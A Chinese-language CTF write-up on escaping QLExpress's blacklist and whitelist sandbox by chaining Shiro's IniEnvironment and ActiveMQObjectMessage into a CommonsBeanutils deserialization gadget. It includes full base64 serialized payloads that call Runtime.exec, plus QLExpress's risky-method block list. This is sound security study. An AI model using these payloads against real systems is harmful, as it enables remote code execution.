java下的ql表达式白名单突破
前言
最近看了一道是关于ql表达式的题目,以前从来不知道有ql表达式,当时也是去学习了一波,真的学到了不少
基础知识
ql的基础语法
https://github.com/alibaba/QLExpress这是ql的github的官方
是阿里巴巴的东西
挑选几个比较重要的语法
java的对象操作
import com.ql.util.express.test.OrderQuery;
//系统自动会import java.lang.*,import java.util.*;
query = new OrderQuery(); // 创建class实例,自动补全类路径
query.setCreateDate(new Date()); // 设置属性
query.buyer = "张三"; // 调用属性,默认会转化为setBuyer("张三")
result = bizOrderDAO.query(query); // 调用bean对象的方法
System.out.println(result.getId()); // 调用静态方法
绑定java类或者对象的method
addFunctionOfClassMethod + addFunctionOfServiceMethod
public class BeanExample {
public static String upper(String abc) {
return abc.toUpperCase();
}
public boolean anyContains(String str, String searchStr) {
char[] s = str.toCharArray();
for (char c : s) {
if (searchStr.contains(c+"")) {
return true;
}
}
return false;
}
}
runner.addFunctionOfClassMethod("取绝对值", Math.class.getName(), "abs", new String[] {"double"}, null);
runner.addFunctionOfClassMethod("转换为大写", BeanExample.class.getName(), "upper", new String[] {"String"}, null);
runner.addFunctionOfServiceMethod("打印", System.out, "println", new String[] { "String" }, null);
runner.addFunctionOfServiceMethod("contains", new BeanExample(), "anyContains", new Class[] {String.class, String.class}, null);
String express = "取绝对值(-100); 转换为大写(\"hello world\"); 打印(\"你好吗?\"); contains("helloworld",\"aeiou\")";
runner.execute(express, context, null, false, false);
Shiro.ini的语法
参考https://www.w3cschool.cn/shiro/h5it1if8.html
Shiro 支持的依赖注入:public 空参构造器对象的创建、setter 依赖注入。
首先我们关注两种写法
1、纯 Java 代码写法(com.github.zhangkaitao.shiro.chapter4.NonConfigurationCreateTest):
DefaultSecurityManager securityManager = new DefaultSecurityManager();
//设置authenticator
ModularRealmAuthenticator authenticator = new ModularRealmAuthenticator();
authenticator.setAuthenticationStrategy(new AtLeastOneSuccessfulStrategy());
securityManager.setAuthenticator(authenticator);
//设置authorizer
ModularRealmAuthorizer authorizer = new ModularRealmAuthorizer();
authorizer.setPermissionResolver(new WildcardPermissionResolver());
securityManager.setAuthorizer(authorizer);
//设置Realm
DruidDataSource ds = new DruidDataSource();
ds.setDriverClassName("com.mysql.jdbc.Driver");
ds.setUrl("jdbc:mysql://localhost:3306/shiro");
ds.setUsername("root");
ds.setPassword("");
JdbcRealm jdbcRealm = new JdbcRealm();
jdbcRealm.setDataSource(ds);
jdbcRealm.setPermissionsLookupEnabled(true);
securityManager.setRealms(Arrays.asList((Realm) jdbcRealm));
//将SecurityManager设置到SecurityUtils 方便全局使用
SecurityUtils.setSecurityManager(securityManager);
Subject subject = SecurityUtils.getSubject();
UsernamePasswordToken token = new UsernamePasswordToken("zhang", "123");
subject.login(token);
Assert.assertTrue(subject.isAuthenticated());
2、等价的 INI 配置(shiro-config.ini)
[main]
\#authenticator
authenticator=org.apache.shiro.authc.pam.ModularRealmAuthenticator
authenticationStrategy=org.apache.shiro.authc.pam.AtLeastOneSuccessfulStrategy
authenticator.authenticationStrategy=$authenticationStrategy
securityManager.authenticator=$authenticator
\#authorizer
authorizer=org.apache.shiro.authz.ModularRealmAuthorizer
permissionResolver=org.apache.shiro.authz.permission.WildcardPermissionResolver
authorizer.permissionResolver=$permissionResolver
securityManager.authorizer=$authorizer
\#realm
dataSource=com.alibaba.druid.pool.DruidDataSource
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/shiro
dataSource.username=root
\#dataSource.password=
jdbcRealm=org.apache.shiro.realm.jdbc.JdbcRealm
jdbcRealm.dataSource=$dataSource
jdbcRealm.permissionsLookupEnabled=true
securityManager.realms=$jdbcRealm
其实相当于我们又可以控制代码了
对于上面的
- 对象名 = 全限定类名 相对于调用 public 无参构造器创建对象
- 对象名. 属性名 = 值 相当于调用 setter 方法设置常量值
- 对象名. 属性名 =$ 对象引用 相当于调用 setter 方法设置对象引用
这个知识后面会用到
多级别安全控制
这个就结合题目来说明了
代码如下
package org.example;
import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.IExpressContext;
import com.ql.util.express.config.QLExpressRunStrategy;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import org.apache.activemq.command.Message;
/* loaded from: Main.class */
public class Main {
public static void main(String[] args) throws IOException {
int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/", new HttpHandler() { // from class: org.example.Main.1
public void handle(HttpExchange req) throws IOException {
String response;
int code = 200;
String path = req.getRequestURI().getPath();
if ("/ql".equals(path)) {
try {
String express = Main.getRequestBody(req);
String express2 = new String(Base64.getDecoder().decode(express));
ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set<String> secureMethods = new HashSet<>();
secureMethods.add("java.lang.Integer.valueOf");
QLExpressRunStrategy.setSecureMethods(secureMethods);
DefaultContext<String, Object> context = new DefaultContext<>();
response = "0";
try {
response = String.valueOf(runner.execute(express2, (IExpressContext<String, Object>) context, (List<String>) null, false, false));
} catch (Exception e) {
System.out.println(e);
}
} catch (Exception e2) {
e2.printStackTrace();
response = ":(";
}
} else {
code = 404;
response = "Not found";
}
req.sendResponseHeaders(code, response.length());
OutputStream os = req.getResponseBody();
os.write(response.getBytes());
os.close();
}
});
server.start();
System.out.printf("Server listening on :%d%n", Integer.valueOf(port));
}
/* JADX INFO: Access modifiers changed from: private */
public static String getRequestBody(HttpExchange exchange) throws IOException {
InputStream is = exchange.getRequestBody();
byte[] buffer = new byte[Message.DEFAULT_MINIMUM_MESSAGE_SIZE];
StringBuilder body = new StringBuilder();
while (true) {
int bytesRead = is.read(buffer);
if (bytesRead != -1) {
body.append(new String(buffer, 0, bytesRead, StandardCharsets.UTF_8));
} else {
return body.toString();
}
}
}
}
waf在
ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set<String> secureMethods = new HashSet<>();
secureMethods.add("java.lang.Integer.valueOf");
QLExpressRunStrategy.setSecureMethods(secureMethods);
setForbidInvokeSecurityRiskMethods就是开启黑名单如下
static {
SECURITY_RISK_METHOD_LIST.add(System.class.getName() + ".exit");
SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec");
SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");
SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke");
SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass");
SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");
SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");
SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName");
SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");
SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");
Method[] var0 = QLExpressRunStrategy.class.getMethods();
int var1 = var0.length;
for(int var2 = 0; var2 < var1; ++var2) {
Method method = var0[var2];
SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName() + "." + method.getName());
}
可以发现禁用还是很厉害的,但是绕过方法还是很多的,主要的waf是如下
secureMethods.add("java.lang.Integer.valueOf");
意思就是增加白名单
public static void setSecureMethods(Set<String> secureMethods) {
SECURE_METHOD_LIST = secureMethods;
}
也就是我们的ql表达式中只能调用valueOf方法
几乎把路堵死了
寻找新出路
方法虽然不可以调用了,但是构造方法触发恶意调用的也不少,比如大名鼎鼎的ClassPathXmlApplicationContext
但是题目环境并没有这个依赖,可惜,然后我就再次去寻找能够通过构造方法触发的类
题目依赖如下
可以看到还有shiro和activeMQ依赖
和CTFCON分享的可以说是对味了
IniEnvironment
我们关注一下这个类,调试分析一波
测试代码
package org.example;
import org.apache.activemq.shiro.env.IniEnvironment;
import static com.sun.org.apache.xml.internal.security.keys.keyresolver.KeyResolver.length;
public class s {
public static void main(String[] args) {
IniEnvironment iniEnvironment=new IniEnvironment("user=org.example.User\n" +
"user.name=\"ljl\"\n" +
"user.age=18\n" +
"user.age.a=1");
}
}
package org.example;
public class User {
private String name;
private int age;
// 构造函数
public User(){
}
public User(String name, int age) {
this.name = name;
this.age = age;
}
// Getter方法
public String getName() {
System.out.println("getName");
return name;
}
// Setter方法
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
// Getter方法
public int getAge() {
System.out.println("getAge");
return age;
}
// Setter方法
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void haha(){
System.out.println("123123");
}
}
运行后发现会调用setter和getter方法,其中IniEnvironment实例化的参数就是配置文件的内容
ActiveMQObjectMessage
我们重点关注它的getter方法getObejct
public Serializable getObject() throws JMSException {
if (object == null && getContent() != null) {
try {
ByteSequence content = getContent();
InputStream is = new ByteArrayInputStream(content);
if (isCompressed()) {
is = new InflaterInputStream(is);
}
DataInputStream dataIn = new DataInputStream(is);
ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
objIn.setTrustedPackages(trustedPackages);
objIn.setTrustAllPackages(trustAllPackages);
try {
object = (Serializable)objIn.readObject();
} catch (ClassNotFoundException ce) {
throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
} finally {
dataIn.close();
}
} catch (IOException e) {
throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
}
}
return this.object;
}
二次反序列化已经摆脸上了,只需要可以控制content
而且content有对应的setter方法,所以是可以控制的
是在父类Message中
public ByteSequence getContent() {
return content;
}
编写shiro.ini
首先是思考二次反序列化打什么链子,看依赖中是有CB链的
所以打CB就好了
cb内容
byteSequence.data=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAAk/K/rq+AAAAMQAlAQAQVDIxMTcxNzg2Njc2MDkwMAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAVVDIxMTcxNzg2Njc2MDkwMC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAEGphdmEvbGFuZy9TdHJpbmcHABABAAY8aW5pdD4BAAUoW0IpVgwAEgATCgARABQBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAWABcKAAsAGAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABoBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQcAHAEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBa0gk/OR3e8+AQANQ29uc3RhbnRWYWx1ZQwAEgAICgAbACMAIQACABsAAQAdAAEAGgAeAB8AAQAiAAAAAgAgAAIACAAHAAgAAQAJAAAAOwAIAAIAAAAvpwADAUy4AA+7ABFZB7wIWQMQY5FUWQQQYZFUWQUQbJFUWQYQY5FUtwAVtgAZV7EAAAAAAAEAEgAIAAEACQAAABEAAQABAAAABSq3ACSxAAAAAAABAAUAAAACAAZ1cQB+ABAAAAHpyv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACxMeXNvc2VyaWFsL2dhZGdldC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAKnlzb3NlcmlhbC9nYWRnZXQvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAJnlzb3NlcmlhbC9nYWRnZXQvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAA4QAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQACFpNTVhWU0JKcHcBAHhxAH4ADXg=
整体代码
[main]
activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage
byteSequence=org.apache.activemq.util.ByteSequence
byteSequence.data=内容
byteSequence.length=长度
activeMQObjectMessage.content=$byteSequence
activeMQObjectMessage.trustAllPackages=true
activeMQObjectMessage.object.a=1
简单解释一下,就是实例化ActiveMQObjectMessage类,调用它的setter方法赋值,因为content可以控制的话可以二次反序列化
protected ByteSequence content;
本质上是个ByteSequence对象,所以又构造了ByteSequence对象,然后最后一句就是触发getObject方法
POC
这里我直接使用Test了
package org.example;
import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.IExpressContext;
import com.ql.util.express.config.QLExpressRunStrategy;
import java.util.Base64;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
/* loaded from: test.class */
public class test {
public static void main(String[] args) {
ExpressRunner runner = new ExpressRunner();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
Set<String> secureMethods = new HashSet<>();
secureMethods.add("java.lang.Integer.valueOf");
QLExpressRunStrategy.setSecureMethods(secureMethods);
DefaultContext<String, Object> context = new DefaultContext<>();
String express="bmV3IG9yZy5hcGFjaGUuYWN0aXZlbXEuc2hpcm8uZW52LkluaUVudmlyb25tZW50KCJbbWFpbl1cbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZT1vcmcuYXBhY2hlLmFjdGl2ZW1xLmNvbW1hbmQuQWN0aXZlTVFPYmplY3RNZXNzYWdlXG4iICsKICAgICAgICAgICAgICAgICJieXRlU2VxdWVuY2U9b3JnLmFwYWNoZS5hY3RpdmVtcS51dGlsLkJ5dGVTZXF1ZW5jZVxuIiArCiAgICAgICAgICAgICAgICAiYnl0ZVNlcXVlbmNlLmRhdGE9ck8wQUJYTnlBQmRxWVhaaExuVjBhV3d1VUhKcGIzSnBkSGxSZFdWMVpaVGFNTFQ3UDRLeEF3QUNTUUFFYzJsNlpVd0FDbU52YlhCaGNtRjBiM0owQUJaTWFtRjJZUzkxZEdsc0wwTnZiWEJoY21GMGIzSTdlSEFBQUFBQ2MzSUFLMjl5Wnk1aGNHRmphR1V1WTI5dGJXOXVjeTVpWldGdWRYUnBiSE11UW1WaGJrTnZiWEJoY21GMGIzTGpvWWpxY3lLa1NBSUFBa3dBQ21OdmJYQmhjbUYwYjNKeEFINEFBVXdBQ0hCeWIzQmxjblI1ZEFBU1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN2VIQnpjZ0EvYjNKbkxtRndZV05vWlM1amIyMXRiMjV6TG1OdmJHeGxZM1JwYjI1ekxtTnZiWEJoY21GMGIzSnpMa052YlhCaGNtRmliR1ZEYjIxd1lYSmhkRzl5Ky9TWkpiaHVzVGNDQUFCNGNIUUFFRzkxZEhCMWRGQnliM0JsY25ScFpYTjNCQUFBQUFOemNnQTZZMjl0TG5OMWJpNXZjbWN1WVhCaFkyaGxMbmhoYkdGdUxtbHVkR1Z5Ym1Gc0xuaHpiSFJqTG5SeVlYZ3VWR1Z0Y0d4aGRHVnpTVzF3YkFsWFQ4RnVyS3N6QXdBR1NRQU5YMmx1WkdWdWRFNTFiV0psY2trQURsOTBjbUZ1YzJ4bGRFbHVaR1Y0V3dBS1gySjVkR1ZqYjJSbGMzUUFBMXRiUWxzQUJsOWpiR0Z6YzNRQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek8wd0FCVjl1WVcxbGNRQitBQVJNQUJGZmIzVjBjSFYwVUhKdmNHVnlkR2xsYzNRQUZreHFZWFpoTDNWMGFXd3ZVSEp2Y0dWeWRHbGxjenQ0Y0FBQUFBRC8vLy8vZFhJQUExdGJRa3Y5R1JWblo5czNBZ0FBZUhBQUFBQUNkWElBQWx0Q3JQTVgrQVlJVk9BQ0FBQjRjQUFBQWsvSy9ycStBQUFBTVFBbEFRQVFWREl4TVRjeE56ZzJOamMyTURrd01BY0FBUUVBRUdwaGRtRXZiR0Z1Wnk5UFltcGxZM1FIQUFNQkFBcFRiM1Z5WTJWR2FXeGxBUUFWVkRJeE1UY3hOemcyTmpjMk1Ea3dNQzVxWVhaaEFRQUlQR05zYVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUmFtRjJZUzlzWVc1bkwxSjFiblJwYldVSEFBb0JBQXBuWlhSU2RXNTBhVzFsQVFBVktDbE1hbUYyWVM5c1lXNW5MMUoxYm5ScGJXVTdEQUFNQUEwS0FBc0FEZ0VBRUdwaGRtRXZiR0Z1Wnk5VGRISnBibWNIQUJBQkFBWThhVzVwZEQ0QkFBVW9XMElwVmd3QUVnQVRDZ0FSQUJRQkFBUmxlR1ZqQVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdEQUFXQUJjS0FBc0FHQUVBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRSEFCb0JBQlJxWVhaaEwybHZMMU5sY21saGJHbDZZV0pzWlFjQUhBRUFFSE5sY21saGJGWmxjbk5wYjI1VlNVUUJBQUZLQmEwZ2svT1IzZTgrQVFBTlEyOXVjM1JoYm5SV1lXeDFaUXdBRWdBSUNnQWJBQ01BSVFBQ0FCc0FBUUFkQUFFQUdnQWVBQjhBQVFBaUFBQUFBZ0FnQUFJQUNBQUhBQWdBQVFBSkFBQUFPd0FJQUFJQUFBQXZwd0FEQVV5NEFBKzdBQkZaQjd3SVdRTVFZNUZVV1FRUVlaRlVXUVVRYkpGVVdRWVFZNUZVdHdBVnRnQVpWN0VBQUFBQUFBRUFFZ0FJQUFFQUNRQUFBQkVBQVFBQkFBQUFCU3EzQUNTeEFBQUFBQUFCQUFVQUFBQUNBQVoxY1FCK0FCQUFBQUhweXY2NnZnQUFBRFFBR3dvQUF3QVZCd0FYQndBWUJ3QVpBUUFRYzJWeWFXRnNWbVZ5YzJsdmJsVkpSQUVBQVVvQkFBMURiMjV6ZEdGdWRGWmhiSFZsQlhIbWFlNDhiVWNZQVFBR1BHbHVhWFErQVFBREtDbFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQU5HYjI4QkFBeEpibTVsY2tOc1lYTnpaWE1CQUN4TWVYTnZjMlZ5YVdGc0wyZGhaR2RsZEM5d1lYbHNiMkZrY3k5MWRHbHNMMGRoWkdkbGRITWtSbTl2T3dFQUNsTnZkWEpqWlVacGJHVUJBQXhIWVdSblpYUnpMbXBoZG1FTUFBb0FDd2NBR2dFQUtubHpiM05sY21saGJDOW5ZV1JuWlhRdmNHRjViRzloWkhNdmRYUnBiQzlIWVdSblpYUnpKRVp2YndFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRQkFCUnFZWFpoTDJsdkwxTmxjbWxoYkdsNllXSnNaUUVBSm5semIzTmxjbWxoYkM5bllXUm5aWFF2Y0dGNWJHOWhaSE12ZFhScGJDOUhZV1JuWlhSekFDRUFBZ0FEQUFFQUJBQUJBQm9BQlFBR0FBRUFCd0FBQUFJQUNBQUJBQUVBQ2dBTEFBRUFEQUFBQUM4QUFRQUJBQUFBQlNxM0FBR3hBQUFBQWdBTkFBQUFCZ0FCQUFBQTRRQU9BQUFBREFBQkFBQUFCUUFQQUJJQUFBQUNBQk1BQUFBQ0FCUUFFUUFBQUFvQUFRQUNBQllBRUFBSmNIUUFDRnBOVFZoV1UwSktjSGNCQUhoeEFINEFEWGc9XG4iICsKICAgICAgICAgICAgICAgICJieXRlU2VxdWVuY2UubGVuZ3RoPTIyNTdcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS5jb250ZW50PSRieXRlU2VxdWVuY2VcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS50cnVzdEFsbFBhY2thZ2VzPXRydWVcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS5vYmplY3QuYT0xIik7";
String express2 = new String(Base64.getDecoder().decode(express));
System.out.println(express2);
try {
String shellcode = String.valueOf(runner.execute(express2, (IExpressContext<String, Object>) context, (List<String>) null, false, false));
System.out.println(shellcode);
} catch (Exception e) {
System.out.println(e);
}
}
}
运行弹出计算器